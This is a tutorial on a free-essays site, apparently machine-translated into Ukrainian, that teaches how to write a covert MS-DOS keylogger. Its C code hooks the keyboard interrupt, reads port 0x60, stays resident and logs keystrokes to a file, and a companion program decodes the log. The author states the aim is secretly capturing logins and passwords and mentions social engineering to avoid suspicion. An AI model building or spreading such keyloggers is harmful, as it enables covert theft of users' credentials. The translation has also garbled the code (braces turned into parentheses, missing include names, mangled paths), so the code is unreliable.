ПЕРЕЛІК ДИСЦИПЛІН:
  • Адміністративне право
  • Арбітражний процес
  • Архітектура
  • Астрологія
  • Астрономія
  • Банківська справа
  • Безпека життєдіяльності
  • Біографії
  • Біологія
  • Біологія і хімія
  • Ботаніка та сільське гос-во
  • Бухгалтерський облік і аудит
  • Валютні відносини
  • Ветеринарія
  • Військова кафедра
  • Географія
  • Геодезія
  • Геологія
  • Етика
  • Держава і право
  • Цивільне право і процес
  • Діловодство
  • Гроші та кредит
  • Природничі науки
  • Журналістика
  • Екологія
  • Видавнича справа та поліграфія
  • Інвестиції
  • Іноземна мова
  • Інформатика
  • Інформатика, програмування
  • Юрист по наследству
  • Історичні особистості
  • Історія
  • Історія техніки
  • Кибернетика
  • Комунікації і зв'язок
  • Комп'ютерні науки
  • Косметологія
  • Короткий зміст творів
  • Криміналістика
  • Кримінологія
  • Криптология
  • Кулінарія
  • Культура і мистецтво
  • Культурологія
  • Російська література
  • Література і російська мова
  • Логіка
  • Логістика
  • Маркетинг
  • Математика
  • Медицина, здоров'я
  • Медичні науки
  • Міжнародне публічне право
  • Міжнародне приватне право
  • Міжнародні відносини
  • Менеджмент
  • Металургія
  • Москвоведение
  • Мовознавство
  • Музика
  • Муніципальне право
  • Податки, оподаткування
  •  
    Бесплатные рефераты
     

     

     

     

     

     

         
     
    кейлоггер під MS-DOS
         

     

    Інформатика, програмування

    кейлоггер під MS-DOS

    ЧАСТИНА 1. Що кейлоггер таке і з чим його їдять?

    кейлоггер (key stroke programm, keylogger) - програма, яка запам'ятовує список натискаються користувачем клавіш. Зазвичай, кілоггери працюють без відома користувачів (інакше навіщо вони потрібні, вед юзер А тепер знає, що натискає =)). Зазвичай, такі програми використовуються для того, аби дізнатись що набирається логін і пароль, причому, не обов'язково при вході в систему (наприклад на поштовому сервері). У даному конкретному випадку, я буду говорити про написання кейлоггера тільки під MS-DOS. Чому? Все дуже просто: у багатьох навчальних закладах (в т.ч. і в ВНЗ) для навчання програмуванню використовують компілятори під ДОС (наприклад, Borland C, Borland Pascal, etc.) Більше того, в деяких таких закладах все ще оре якийсь старий Novell Netware, знову таки, під ДОС. Ну а сама головна причина, чому я вибрав ДОС - я збираюся тільки продемонструвати принципи роботи таких програм. Якщо вам потрібен кейлоггер під вийми, в яндексе знайдете туеву хучу таких ... З мотивацією розібралися. Тепер, коли половина читачів стала набирати http://ya.ru/, я сміливо можу продовжувати:)

    ЧАСТИНА 2. Розпочнемо

    Отже, ще раз ... Наша мета - написати робочий кейлоггер під DOS. Він повинен відловлювати натискаються клавіші, а потім зберігати їх в заданий файл. Для здійснення задуманого нам (не "нам" а "вам") потрібно знати основи системного програмування під MS-DOS, і мову C (найкраще Borland C + + v3.1). Під системним програмуванням я розумію, перш за все, знання з області: системні переривання, порти вводу-виводу, робота з файлами і т.д. Якщо ви не знаєте, що це таке, вам буде важче зрозуміти написане нижче.

    Гаразд. Досить розмов, пора починати. Беремо пляшку пива. Думаємо ... Що ж відбувається при натисканні клавіші? Будь-який програміст скаже - апаратне переривання (і буде правий). Операційка ловить його і обробляє натиснуту клавішу. Для того, що б зрозуміти, яка клавіша натиснута, використовуються порти вводу-виводу. А що повинен зробити наш кейлоггер? Правильно! Він повинен сам перехопити наше апаратне переривання від клави, і прочитати клавішу з портів. А потім вже і операційка підгребе, і теж прочитає ... Відразу скажу, що такий спосіб не універсальний. Наприклад, яка-небудь інша прога, якій треба вважати клавіші, просто не дасть нам обробити переривання (встановить свій оброблювач, а наш не викличе). Деякі сверхсекьюрние проги це роблять. Але про це потім. А зараз згадуємо про функції getvect () і setvect (). Вони дозволяють визначити використовуваний обробник переривання і встановити свій відповідно. Оброблювач - Це наша з вами (або чужа) функція, яка обробляє переривання. Як все це працює?

    1) Клава генерує переривання.

    2) Викликається обробник. Його адреса зберігається не далеко від початку пам'яті (залежить від переривання), і система просто робить джамп за тією адресою, яке там бачить. Тобто що б процесор зараз не робив (крім тих випадків, коли переривання заблоковані взагалі - RTFM Asm: cli/sti), система прердаст йому команду стрибка (джамп, jmp) за цією адресою, і він почне виконувати нашу функцію-обробник.

    3) Потім, процесор продовжить те, що робив раніше.

    Про обробника по подробнее. Спочатку, обробник - це наша функція в операційній системі. Тобто операційна система (надалі ОС) сама обробляє натиснуті клавіші (поміщає їх у буфер, виводить на екран і т.д.) Якщо ми ставимо свій оброблювач, то ОС в прольоті. Ми самі обробляємо клавіші. Але! Якщо ОС не обробить переривання (тобто не викликається її власний обробник) - буде хреново. У цьому випадку всі інші програми не зможуть дізнатися про натискання клавіші, як і сама ОС. Ми не зможемо навіть набрати команду в консолі. Не зможемо пересунути маркер на інший файл в Norton Commander. Загалом, іншим запущеним програмами не буде відомо, що користувач натиснув на клавішу. Як же бути? Елементарно, Ватсон! Зі свого обробника ми зробимо джамп на старий обробник. А старий зробить джамп на той, що був перед ним. І так далі. Останнім обробником буде ОС (т.зв. каскадне включення). Таким чином, скільки б обробників не було, вони виконувалися так все по черзі. На радощах згадуємо про НЕ допитом пиво =) Таким чином надходять всі системні програмісти (я вже не про пиво ... хоча ... і це теж). Перед тим як встановити свій оброблювач, дізнаємося адреса в пам'яті старого обробника. Після того, як зробили свою чорну справа, викликаємо наступний обробник. (Ось приїлися ці обробники !).

    Код на C + + (якщо не в Borland C + + V3.1, можливо, прийдеться что-нить поміняти):

    # include < dos.h>// Підключаємо бібліотеку dos.h для функцій getvect () і setvect ()

    void interrupt far (* oldhdl )(...);// Тут буде адреса старого обробника (покажчик на функцію)

    void interrupt far newhdl (...)// А це наш обробник

    (

    oldhdl ();// Не забудемо передати управління старому обробникові

    )

    int main ()

    (

    oldhdl = getvect (0x09);// Запам'ятовуємо старий обробник переривання нумбер 0x09 (тобто від клави)

    setvect (0x09, newhdl);// Ставимо новий обробник (на той же переривання)

    return 0;

    )

    Так, нічого не забули? Перейдіть в башке ще раз. Функція main () визначає старий обробник переривання 0x09 (клава) і пише в змінну oldhdl (яка є вказівником на функцію). Потім ставить свій оброблювач на те ж (0x09) переривання. Виходить з проги (return 0). Тепер, якщо відбувається дев'ятий переривання, процесор робить джамп за адресою нашої функції newhdl (). Функція виконає те, що буде замість рядка "//..." і викличе старий обробник. Далі не наша проблема. Правильно? Ні! Ще раз. Наша функція main () завершує роботу. Значить, прога вивантажується з пам'яті. Коли процесор зробить джамп на адреса функції newhdl (), то там її вже не буде! Нам потрібно, щоб наш обробник висів у пам'яті навіть після завершення функції main (). Як це зробити? Думаємо ... Згадуємо про бібліотечну функцію keep (). Як це вони в мануалі добре помітили: Exits and remains resident. По русски: Виходить і залишається резидентом. Пам'ятайте, що таке резидент і TSR? TSR - Terminate and Stay Resident, завершитися і залишитися резидентом в пам'яті. Тобто не вивантажувати прогу з пам'яті навіть після завершення функції main (). Якщо виконати цю функцію перед завершенням main (), то прога перестане виконуватися, але не помре. Те, що доктор прописав. Сказано-зроблено.

    # include < dos.h>// Підключаємо бібліотеку dos.h для функцій getvect () і setvect ()

    extern unsigned _heaplen = 1024;

    extern unsigned _stklen = 1024;

    void interrupt far (* oldhdl )(...);// Тут буде адреса старого обробника (покажчик на функцію)

    void interrupt far newhdl (...)// А це наш обробник

    (

    // ...

    oldhdl ();// Не забудемо передати управління старому обробникові

    )

    int main ()

    (

    oldhdl = getvect (0x09);// Запам'ятовуємо старий обробник переривання нумбер 0x09 (тобто від клави)

    setvect (0x09, newhdl);// Ставимо новий обробник (на той же переривання)

    keep (0, _SS + (_SP/16)-_psp);

    return 0;

    )

    Як бачиш, змінилися 3 рядки: я додав глобальне оголошення двох дуже важливих змінних, ну і саму функцію keep (). Змінні ці визначають, скільки пам'яті резервувати для проги (купа і стек відповідно). Необхідно ставити як можна менше, але так, що б прога не глючить і працювала. Справа в тому, що резиденти лежать в пам'яті завжди, і якщо вони з'їдять її занадто багато, нічого буде не запустити (можливо, що й command.com). Я поставив 1024. Далі ми бачимо функцію keep (). Перший її параметр - код разв ... повернення. У мене, як і у вас, це - нуль. Потім ідуть strange letters, які всього-лише говорять, скільки пам'яті має бути зарезервовано: _psp (Program Sement Prefix) -- адреса початку нашої програми, _SS (Stack Segment) - сегмент стека, _SP (Stack Pointer) - покажчик вершини стека. Кінець нашої програми - це адреса вершини стека. Насправді таке вирахування може виявитися не точними. Можна спробувати такий варіант: _SS + (_SP + запас_памяті)/16 - _psp. Ось тепер половина готова. Загалом-то прога вже буде працювати, а для перевірки можна замість "//..." написати щось на зразок sound (2600); delay (50); nosound ();. Сподіваюся, всі зрозуміли, що я маю на увазі. При кожному спрацьовуванні переривання 0x09 буде короткий сигнал у спікера компа. До речі, дев'ятий переривання спрацьовує не тільки тоді, коли натискають клавішу, але і коли її відпускають.

    Пішим. Компіліруем. Виходимо з Borland C. Запускаємо прогу. Якщо нічого не вийшло, спробуйте ще раз. Якщо знову не вийшло, можливі варіанти: 1) ви допустили помилку, і 2) настройки компілятора не дозволяють откомпіліть прогу. У будь-якому випадку, читайте мануали. І ще одна річ - не намагайтеся запускати подібні проги прямо з компілятора (Ctrl + F9), він все одно поверне все зміни в системі тому (у т.ч. і обробники переривань).

    ЧАСТИНА 3. Мутім кейлоггер

    Добре. Велику частина зробили. Тепер перетворимо це в нормальний кейлоггер. Для початку нам необхідно визначити, яка саме клавіша була натиснута. Результати будуть відповідати не звичайним кодами відповідно до кодовою сторінкою (тобто 'A' = 65, 'B' = 66 ...) а спеціальним, які повертає нам система, і які вже потім переводяться в звичайні. Наприклад, код натиснутою клавіші Esc буде дорівнювати одиниці. Чому я сказав саме "натиснутою"? Тому, що якщо клавіша не натиснута, то ми визначаємо останню натиснуту. Код Esc в відпущеному стані дорівнює 128 (якщо нічого не переплутав). Коди ці ми дізнаємося ассемблерской інструкцією in. У стандартних бібліотеках С можна знайти функції inport () і inportb (), які реалізують цю інструкцію. Виглядає це так:

    char symbol;

    symbol = inportb (0x60);// 0x60 - номер порту для зчитування натиснутих клавіш

    Тепер, у змінній symbol буде лежати значення коду клавіші на момент виконання inportb (). Залишається тільки взяти, та записати цю бадилля у файл. Але не все так просто ...

    ЧАСТИНА 4. Пишемо в файл

    Якщо ви думаєте, що fwrite (& symbol, sizeof (symbol), 1, outfile) і все в шоколаді, то ви помиляєтеся. Ні, в принципі, іноді це буде працювати (в консольке в винда, наприклад). Але в реальному режимі процесора і MS-DOSа мало ймовірно. Де ж тут собака порилася? Я, в пошуках тієї собаки, вирішив поритися в мануали ... Є тут така мутна штука, під назвою "двадцять-восьме переривання ". Вичитав я таку річ, що з деяких обробників переривань не можна виробляти, наприклад, запис на диск, чого не скажеш про 0x28. Ось чому: справа в тому, що при спробі запису викликається переривання 0x21. Може бути варіант, що ми викличемо 0x21 перебуваючи в ньому ж, що не є добре (це називається нереентерабельностью). А з двадцять восьмого і на диск писати можна, і читати, і все, що завгодно. Викликається воно нашим MS-DOSом в сприятливі для нього часи. Тим не менше, для повної впевненості, що ми перебуваємо в безпечній секції, можна ще використовувати недокументовані функцію DOS AH = 0x34 і визначення прапора зайнятості ДОС. Прапор буде знаходитись за адресою ES: BX і приймати значення 1, якщо секція нереентерабельна. Істина десь поруч ... Пишемо ще один обробник для 0x28. У нашому обробнику 0x09 ставимо прапор у одиничку, якщо нам треба записати symbol. Кожного разу, при виклику DOSом нашого обробника 0x28, він буде перевіряти прапор. Якщо останній дорівнює 1, то, якщо прапор зайнятості дозволяє, пишемо наш symbol у файл і ставимо прапор назад в нуль. Ось і все.

    void interrupt far newhdl_28 (...)// Новий обробник для переривання 0x28

    (

    if (flag == 1)// Якщо прапор дорівнює 1, тоді потрібно писати у файл

    (

    // ... (пишемо у файл, при цьому можемо ще й прапор зайнятості ДОСА перевірити, на всякий пожежний)

    flag = 0;// ясний пень - прапор знову треба скинути

    // (але тільки якщо нам вдалося записати символ)

    )

    oldhdl_28 ();// Викликаємо наступний обробник 0x28

    )

    void interrupt far newhdl (...)// Новий обробник для переривання 0x09 (клава)

    (

    symbol = inportb (0x60);// Читаємо символ

    flag = 1;// Ставимо прапор в одиницю (тобто даємо "двадцять восьмому"

    // знати про те, що хочемо записати символ у файл)

    oldhdl ();// А тепер викликаємо старий обробник переривання від клави

    )

    Якщо відбувається переривання 0x09, то викликатися повинен обробник newhdl (). Він зчитує натиснуту (або відпущену) клавішу в symbol і ставить свій прапор flag в еденічку. При наступному виклику переривання 0x28 запуститься функція newhdl_28 (), яка, звіряючись з прапором flag, при необхідності, пише symbol в файл на диск. Природно, нам ще треба буде оголосити вказівники на функції oldhdl і oldhdl_28, рахувати в них значення, що вказують на старі обробники переривань 0x09 і 0x28 відповідно, і встановити як нових обробників newhdl () і newhdl_28 (). Все це потрібно зробити у функції main () і, зрозуміло, до виклику keep (). Змінні symbol і flag також повинні бути оголошені і преравнени нулю (якщо цього не зробити, можливі збої). Якщо будемо перевіряти прапор зайнятості ДОС, необхідно оголосити покажчик на той самий прапор зайнятості, викликати переривання 0x21 з регістром AH = 0x34 і записавши в цей покажчик значення ES: BX, тобто DOSflag = MK_FP (_ES, _BX). Після цього можемо ним користуватися під час перевірки.

    int main ()

    (

    _AH = 0x34;

    asm int 0x21;

    DOSflag = MK_FP (_ES, _BX);// Отримали прапор зайнятості дос за вказівником DOSflag

    oldhdl = getvect (0x09);

    oldhdl_28 = getvect (0x28);// Плучілі адреси старих обробників переривань 0x09 і 0x28

    setvect (0x09, newhdl);

    setvect (0x28, newhdl_28);// Встановили свої обробники на переривання 0x09 і 0x28

    keep (0, _SS + (_SP/16)-_psp);// Проголосили себе резидентом

    return 0;

    )

    Ну от, залишилося тільки оголосити потрібні змінні і дописати функцію запису у файл в обробнику newhdl_28 () (і при необхідності додати перевірку зайнятості ДОС, як було описано вище). А в іншому прога готова. Якщо хочеться зробити її ще крутіше, то можна при старті додати перевірку того, не запущена чи вона вже. Для цього є багато способів, але я рекомендую повіситися ще на одне переривання, і при зверненні до нього обробник (якщо він є) поверне нам в регістрах який-небудь свій ідентифікатор. Так ми упевнитися, що він живий-здоровий, а отже, і наш кейлоггер вже живе десь в пам'яті. Якщо обробник НЕ відповість, значить і кейлоггера немає. А при хитрої комбінації клавіш (наприклад Ctrl + F12) можна додати функцію відключення проги, якщо раптом пріспічет. Але це всі дрібні доробки, які в будь-якому випадку не вплинуть на процес ведення статистики натиснутих клавіш.

    ЧАСТИНА 5. Читаємо скан-коди з логів

    Уявімо, що кейлоггер дописаний і працює. Він зберігає скан-коди натиснутих клавіш в фото як простий ряд чисел, не проводячи шифрування. Тепер не погано б перекласти цей файл у легкий для читання вигляд. Для цього пропонується використовувати окрему програму, яка має читати скан-коди і переводити їх у символи.

    // LogRead.c (компілітся в Borland C + + v3.1 і не тільки)

    # include

    # define FILENAME "c: keys.dat"

    FILE * in;

    unsigned char scancode;

    char str [128];

    void convert (unsigned char scancode, char * str)// Функція перетворить скан-код у рядок з описом символу

    (

    if (scancode> 128)

    (

    sprintf (str, "[Released ]");

    scancode-= 128;

    )

    else sprintf (str, "[Pressed ]");

    switch (scancode)

    (

    case 1: sprintf (str, "% s % s ", str," Escape "); break;

    case 2: sprintf (str, "% s % s ", str," 1 "); break;

    case 3: sprintf (str, "% s % s ", str," 2 "); break;

    ...

    case 11: sprintf (str, "% s % s ", str," 10 "); break;

    case 12: sprintf (str, "% s % s ", str," - or _ "); break;

    case 13: sprintf (str, "% s % s ", str," = or + "); break;

    case 16: sprintf (str, "% s % s ", str," Q "); break;

    ...

    case 26: sprintf (str, "% s % s ", str," [or ( "); break;

    case 27: sprintf (str, "% s % s ", str,"] or) "); break;

    case 30: sprintf (str, "% s % s ", str," A "); break;

    ...

    case 39: sprintf (str, "% s % s ", str,"; or: "); break;

    case 40: sprintf (str, "% s % s ", str," 'or ""); break;

    case 44: sprintf (str, "% s % s ", str," Z "); break;

    ...

    case 52: sprintf (str, "% s % s ", str,". or> "); break;

    case 53: sprintf (str, "% s % s ", str,"/or? "); break;

    case 57: sprintf (str, "% s % s ", str," Space "); break;

    case 29: sprintf (str, "% s % s ", str," Ctrl "); break;

    case 42: sprintf (str, "% s % s ", str," LeftShift "); break;

    case 54: sprintf (str, "% s % s ", str," RightShift "); break;

    case 56: sprintf (str, "% s % s ", str," Alt "); break;

    case 14: sprintf (str, "% s % s ", str," BackSpace "); break;

    case 43: sprintf (str, "% s % s ", str," or | "); break;

    case 83: sprintf (str, "% s % s ", str," Del "); break;

    case 28: sprintf (str, "% s % s ", str," Enter "); break;

    case 15: sprintf (str, "% s % s ", str," Tab "); Break;

    case 41: sprintf (str, "% s % s ", str," `or ~"); break;

    case 72: sprintf (str, "% s % s ", str," UpArrow "); break;

    case 80: sprintf (str, "% s % s ", str," DownArrow "); break;

    case 75: sprintf (str, "% s % s ", str," LeftArrow "); break;

    case 77: sprintf (str, "% s % s ", str," RightArrow "); break;

    case 58: sprintf (str, "% s % s ", str," CapsLock "); break;

    default: sprintf (str, "% s UNKNOWN KEY #% d ", str, scancode);

    )

    )

    int main ()

    (

    printf ( "rnrnKeyLog` s Reader v1.0 Copyright (c) Pashix, 2004rnrn ");

    in = fopen (FILENAME, "rb");

    if (! in)

    (

    printf ( "Error while open file, halting ... rn ");

    return 1;// Якщо файл не вдалося відкрити - виходимо з програми

    )

    while (! feof (in))

    (

    fread (& scancode, 1, 1, in);

    convert (scancode, str);

    printf ( "% srn", str);

    )

    fclose (in);

    return 0;

    )

    Отже, запропонована програма буде читати файл з ім'ям C: keys.dat (можна змінити, см. define FILENAME), припускаючи наявність у ньому скан-кодів, надісланих кілоггерів, і виводити в stdout (тобто швидше за все, на екран) назви клавіш в людському вигляді. Наприклад, рядок [Pressed] Escape означає те, що користувач натиснув на клавішу Esc, а рядок [Released] LeftShift означає, що кнопка LeftShift (лівий Shift, хто не зрозумів:)) була тільки-що відпущена. Там, де написано "...", вам має дописати інші варіанти. Зробити це дуже просто: дивимося на клавіші до і після багатокрапки, дивимося на клавіатуру і розуміємо, що треба підставити. Ця читалка логів вміє розпізнавати такі символи: AZ 0-9/| Shift Ctrl Alt BkSpace Del Enter CapsLock і деякі інші. Якщо цього мало, ви можете дописати інші варіанти самостійно (я цього не зробив тому, що економив місце). І ще. Якщо буде необхідність виводити результат не на екран, а в файл, у командному Сторк MS DOS необхідно запустити програму ось так:

    C:> logread.exe> c: logread.txt

    У цьому випадку програма-читалка переведе вміст c: keys.dat і запише його в c: logread.txt

    ЧАСТИНА 6. Пригоди

    Ну от, в Загалом-то, і все. Останнє зможете і самі написати. Хитрість Основна у створенні кейлоггера під ДОС - двадцять-восьме переривання. Якщо про нього не знати -- геморой буде забезпечений. Хоча мені вдавалося обходитися і без нього (переривання, НЕ геморою:)). Спочатку, я пробывал писати в файл прямо з обробника, але прога дивним чином повисала кожного разу. Потім перекрутили так: при запуску проги, у функції main () я виділяв енну кількість пам'яті (aka буфер), адресу його писав у файл (1) і робив keep (). У самому обробнику писав уже не на диск, а в той самий буфер. Потім, запускав іншу прогу, яка здобувала з файлу (+1) адреса буфера, і потім записувала вміст буфера у файл (2). Те є натиснуті клавіші попадали в файл (2). У цього способу є три недоліки з технічної сторони:

    1) Буфер необхідно було робити маленьким (пам'ять-то у нашого резидента - не гумова! Див про _stklen вище) А чим менше буфер, тим частіше доводилося викликати другий прогу, для перенесення вмісту його (буфера) у файл. У мене буфер вміщував 150 символів (для паролів вистачало).

    2) Виклик самої проги для перенесення з буфера в файл - задача не проста, з урахуванням того, що я не хотів, що б хто-небудь що-небудь запідозрив. Дивно би це виглядало, якщо б я весь час підбігав до компу з кілоггерів і запускав в консольке якусь прогу. Тут допомагала соціальна інженерія:)

    3) Написання такого алгоритму взаємодії вимагало більшої кількості знань, ніж створення однієї програмки, яка сама все і видобуває, і відразу ж зберігає куди нам треба.

    Обох недоліків позбавлена програма з використанням переривання 0x28. Якщо хочете трохи краще розібратися в тонкощах MS-DOS і дізнатися всі її можливості (навіть не документовані), качайте собі мануал під назвою Tech Help (тільки на англійською. На русском - sux!)

    Список літератури

    Для підготовки даної роботи були використані матеріали з сайту http://www.bugtraq.ru/

         
     
         
    Реферат Банк
     
    Рефераты
     
    Бесплатные рефераты
     

     

     

     

     

     

     

     
     
     
      Все права защищены. Reff.net.ua - українські реферати ! DMCA.com Protection Status